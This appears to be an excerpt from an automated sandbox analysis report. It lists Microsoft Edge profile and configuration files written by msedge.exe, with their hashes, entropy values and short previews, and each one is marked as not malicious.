Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\6070246f-cebc-4493-9454-6cb643b49d00.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\93459ca3-8de7-46a7-ad35-28546888b684.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3009d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\bf39e588-f00a-47e2-a6aa-7fb1e83a0524.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\a1b24a14-4053-4219-bdf5-2010f3eec083.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17416), with no line terminators
Category:	dropped
Size (bytes):	17418
Entropy (8bit):	5.487731299577493
Encrypted:	false
SSDEEP:	384:stmPGQSu4BsH+cXkSQuQBxjDfeTSbGAQw/Kf7NIr:s0OXuR+c74TbGPnI
MD5:	85F336B5FF126F84FEB2D079D2BD32AA
SHA1:	38E76C0BC1E0F34C98B78F67A94153AB0FCF08D0
SHA-256:	495DC9C5F3FC87BE4D39A07D95BC9CA7A556B211666291F536D33EAD635AD0CE
SHA-512:	91067040D49644186F8EEED380CE01B4D55CFE8371C2CA096234BC7A6E69653C65C2CE03EE7CC5226C7AC5C8CC512CDAC112BD11FB39B4752A392D52B7FB31DA
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13378492019618066","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\a8dd5e76-ca87-4fee-9025-6bc1f3c28d46.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17460), with no line terminators
Category:	dropped
Size (bytes):	17462
Entropy (8bit):	5.486071852203944
Encrypted:	false
SSDEEP:	384:stmPGQSu4Bs1+cXkSQuQBxjDfeTSbGAQw/Kf7NIr:s0OXu3+c74TbGPnI
MD5:	1D69EB7EF81FAE82ADB67226CD5A51FB
SHA1:	FBCC302D14E20B9B8381F713FC9770A544B8BA78
SHA-256:	F264E4897586D82BB2AF5238D2885678CA92C593D44E72B2A9AD744DD5A2F913
SHA-512:	2D261816C3392A2D062B6C5944F3738DBA833CF55E41E70CE06AC8D9BA3F07E101C972CEE3ABC7E7A409C37217428CF2A318D194B0FB2846286B7B3ED6D5B409
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13378492019618066","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\aa6baa21-1ac5-4781-b4ae-4a68ce631a30.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38627
Entropy (8bit):	5.554352256747399
Encrypted:	false
SSDEEP:	768:bfiWZY7pLGLPmkWPaofem8F1+UoAYDCx9Tuqh0VfUC9xbog/OV17NyVrwUDtOqK2:bfiWZEcPmkWPaofemu1ja4pyeUDtLn82
MD5:	80FCF2C8578FE840F1DF959B3C8C23A0
SHA1:	FD1B8C807FC28E913AE62703150F22EC7B10075F
SHA-256:	0A8075D6E0801D077C421E5B6FFA6510773405BAB9E4AF7ED1AC6A7780D7E3BB
SHA-512:	FF039DCC6E5DE586308D4A057C663EA85E9E38D9436EE85F5F0BF6E062B733C181F6E744D73D7A0C7AD212904635D8DA41AC6B987B59DF6D16A499BA78AB55DA
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13378492018992181","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13378492018992181","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\abb91389-fbe3-4b3c-9382-77e11a6421bb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (16658), with no line terminators
Category:	dropped
Size (bytes):	16660
Entropy (8bit):	5.451713010139099
Encrypted:	false
SSDEEP:	384:stmPGQSu4BsH+cXQuQBxjDfeTSbGAQw/w7NIr:s0OXuR+coTbGPvI
MD5:	A5A3364A0B81F4EC7264F8B4AFC259A9
SHA1:	A274A2C98B88DC75AB18D8F2DD2C22380CF9A619
SHA-256:	398B341A8DF1828D01CEC56887BF81BFD07FCDAFBF9FB42C592AC0498DC53BD8
SHA-512:	3F308FE6427975B657DAEF860E2AC5963FCEBC7DF09DFB9B318D26496EB2883628787247DEEDB4125931C8196F0CD61D0AC9319A946E84E702D936FEFDC67697
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13378492019618066","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\uu_host_config

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	403024
Entropy (8bit):	4.987691454989427
Encrypted:	false
SSDEEP:	1536:HYbzOWIwetxI2LpvNCIFu77T38WJ5BR8Mm6EW9uU8ywMsF9leE08d207nMGvykSB:EPenNgBRrmVlr0K2lP/lFlWfEwlCx
MD5:	8F9BDA485854A823E20B47C4897937CF
SHA1:	A86D1E2D3AE6E2F2CAF52DAF6D839EB02FE4B334
SHA-256:	67487ABF17DE6084CF6D117F0551E92D3BA8DC70B08D17D3685603451799EF28
SHA-512:	5C94F19AE23F4220C455DBAD0DB1640A47D981D45306939496744CC1DF2BD5980F25E417C764661CBD608D69E178CB4795763E04F21F5812AC0BA7BBCAA1008C
Malicious:	false
Preview:	{.. "0123movies.com": "{\"Tier1\": [983, 6061], \"Tier2\": [4948, 1106, 9972]}",.. "1020398.app.netsuite.com": "{\"Tier1\": [6061, 8405, 5938], \"Tier2\": [228, 236]}",.. "1337x.to": "{\"Tier1\": [6061, 983], \"Tier2\": [6657, 475, 4068]}",.. "2cvresearch.decipherinc.com": "{\"Tier1\": [8405], \"Tier2\": [379, 6101]}",.. "3817341.extforms.netsuite.com": "{\"Tier1\": [6061, 8405, 5938], \"Tier2\": [7746]}",.. "3cx.integrafin.co.uk": "{\"Tier1\": [8405, 6061], \"Tier2\": [2863, 5391]}",.. "4540582.extforms.netsuite.com": "{\"Tier1\": [8405], \"Tier2\": [228, 236, 7746]}",.. "7589.directpaper.name": "{\"Tier1\": [8405], \"Tier2\": []}",.. "7a201srvitportl.cymru.nhs.uk": "{\"Tier1\": [], \"Tier2\": [9870]}",.. "7a3cjsvmifitla1.cymru.nhs.uk": "{\"Tier1\": [6061], \"Tier2\": [1092]}",.. "7a3cjsvmlivwebb.cymru.nhs.uk": "{\"Tier1\": [148, 6061], \"Tier2\": [9870, 9813]}",.. "8ballpool.com": "{\"Tier1\": [8741, 3907, 983], \"Tier2\": [9151, 5779, 6916]}",..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090529861035149
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4keCLmZt9tR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7yn4tGhOxqQoRTuiVIos
MD5:	DEBD70510F0DFA0305812DAC1D24A78C
SHA1:	D3B7479CEB71156BB87E3893ACBEA637AD954CFA
SHA-256:	AFD00D759833ECB217CE738F94CE8AABB447E61667EDE655A9C991EEA492157B
SHA-512:	E8D7B29AF12F04881AD2A5981057E696A03529D3B17B582213FB665090FEB164CE7BD80B29D857618314593337B48C659A08CBFCB168964565A97FF35BAA337C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2d9bc.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090529861035149
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4keCLmZt9tR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7yn4tGhOxqQoRTuiVIos
MD5:	DEBD70510F0DFA0305812DAC1D24A78C
SHA1:	D3B7479CEB71156BB87E3893ACBEA637AD954CFA
SHA-256:	AFD00D759833ECB217CE738F94CE8AABB447E61667EDE655A9C991EEA492157B
SHA-512:	E8D7B29AF12F04881AD2A5981057E696A03529D3B17B582213FB665090FEB164CE7BD80B29D857618314593337B48C659A08CBFCB168964565A97FF35BAA337C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2d9eb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090529861035149
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4keCLmZt9tR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7yn4tGhOxqQoRTuiVIos
MD5:	DEBD70510F0DFA0305812DAC1D24A78C
SHA1:	D3B7479CEB71156BB87E3893ACBEA637AD954CFA
SHA-256:	AFD00D759833ECB217CE738F94CE8AABB447E61667EDE655A9C991EEA492157B
SHA-512:	E8D7B29AF12F04881AD2A5981057E696A03529D3B17B582213FB665090FEB164CE7BD80B29D857618314593337B48C659A08CBFCB168964565A97FF35BAA337C
Malicious:	false
